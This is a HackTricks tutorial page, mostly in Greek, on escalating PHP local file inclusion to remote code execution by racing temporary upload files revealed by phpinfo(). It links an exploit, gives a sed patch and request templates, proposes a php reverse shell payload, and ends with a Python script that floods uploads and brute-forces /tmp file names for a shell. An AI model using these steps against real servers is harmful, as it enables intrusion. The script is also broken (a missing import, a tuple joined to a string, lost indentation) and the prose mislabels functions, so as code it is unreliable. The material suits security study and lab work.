LFI2RCE via phpinfo()

Support HackTricks

Για να εκμεταλλευτείτε αυτήν την ευπάθεια χρειάζεστε: Μια ευπάθεια LFI, μια σελίδα όπου εμφανίζεται το phpinfo(), "file_uploads = on" και ο διακομιστής πρέπει να μπορεί να γράψει στον φάκελο "/tmp".

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Πρέπει να διορθώσετε την εκμετάλλευση (αλλάξτε => σε =>). Για να το κάνετε αυτό μπορείτε να κάνετε:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

You have to change also the payload at the beginning of the exploit (for a php-rev-shell for example), the REQ1 (this should point to the phpinfo page and should have the padding included, i.e.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), and LFIREQ (this should point to the LFI vulnerability, i.e.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Check the double "%" when exploiting null char)

Theory

Αν οι αναφορές επιτρέπονται σε PHP και προσπαθήσετε να ανεβάσετε ένα αρχείο, αυτό το αρχείο αποθηκεύεται σε έναν προσωρινό φάκελο μέχρι να ολοκληρωθεί η επεξεργασία του αιτήματος από τον διακομιστή, στη συνέχεια αυτό το προσωρινό αρχείο διαγράφεται.

Στη συνέχεια, αν έχετε βρει μια ευπάθεια LFI στον διακομιστή ιστού μπορείτε να προσπαθήσετε να μαντέψετε το όνομα του προσωρινού αρχείου που δημιουργήθηκε και να εκμεταλλευτείτε μια RCE αποκτώντας πρόσβαση στο προσωρινό αρχείο πριν διαγραφεί.

Στα Windows τα αρχεία αποθηκεύονται συνήθως στο C:\Windows\temp\php

Στο linux το όνομα του αρχείου συνήθως είναι τυχαίο και βρίσκεται στο /tmp. Δεδομένου ότι το όνομα είναι τυχαίο, είναι απαραίτητο να εξάγετε από κάπου το όνομα του προσωρινού αρχείου και να αποκτήσετε πρόσβαση σε αυτό πριν διαγραφεί. Αυτό μπορεί να γίνει διαβάζοντας την τιμή της μεταβλητής $_FILES μέσα στο περιεχόμενο της συνάρτησης "phpconfig()".

phpinfo()

PHP χρησιμοποιεί ένα buffer 4096B και όταν είναι γεμάτο, αποστέλλεται στον πελάτη. Στη συνέχεια, ο πελάτης μπορεί να στείλει πολλές μεγάλες αιτήσεις (χρησιμοποιώντας μεγάλες κεφαλίδες) ανεβάζοντας ένα php reverse shell, περιμένοντας να επιστραφεί το πρώτο μέρος του phpinfo() (όπου είναι το όνομα του προσωρινού αρχείου) και να προσπαθήσει να αποκτήσει πρόσβαση στο προσωρινό αρχείο πριν ο διακομιστής php διαγράψει το αρχείο εκμεταλλευόμενος μια ευπάθεια LFI.

Python script to try to bruteforce the name (if length = 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
Υποστήριξη HackTricks

Last updated